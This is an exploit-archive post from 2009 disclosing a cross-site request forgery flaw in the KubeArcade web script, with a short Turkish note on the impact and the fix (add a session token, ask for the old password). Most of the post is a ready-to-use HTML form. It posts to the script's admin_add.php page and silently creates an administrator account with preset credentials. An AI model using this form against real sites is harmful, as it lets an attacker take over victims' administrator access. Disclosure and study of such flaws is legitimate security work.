KubeArcade ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > KubeArcade ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:15:34
	# KubeArcade ~ XSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : CWH1RLPOOL \| Bug Researchers # Script Name : KubeArcade # Bug Type : XSRF # Infection : Yeni Admin Eklenebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form name=form1 method=post action=http://demos.kubelabs.com/KubeArcade/adm/admin_add.php> <input name=username type=Text class=textbox id=username style=width:60% value=cwhirlpool></td> <input name=password type=password class=textbox id=password style=width:60% value=cwhirlpool></td> <input name=Submit type=submit class=button value=Submit> <input name=Reset type=reset class=button value=Reset> </form> < -- bug code end of -- >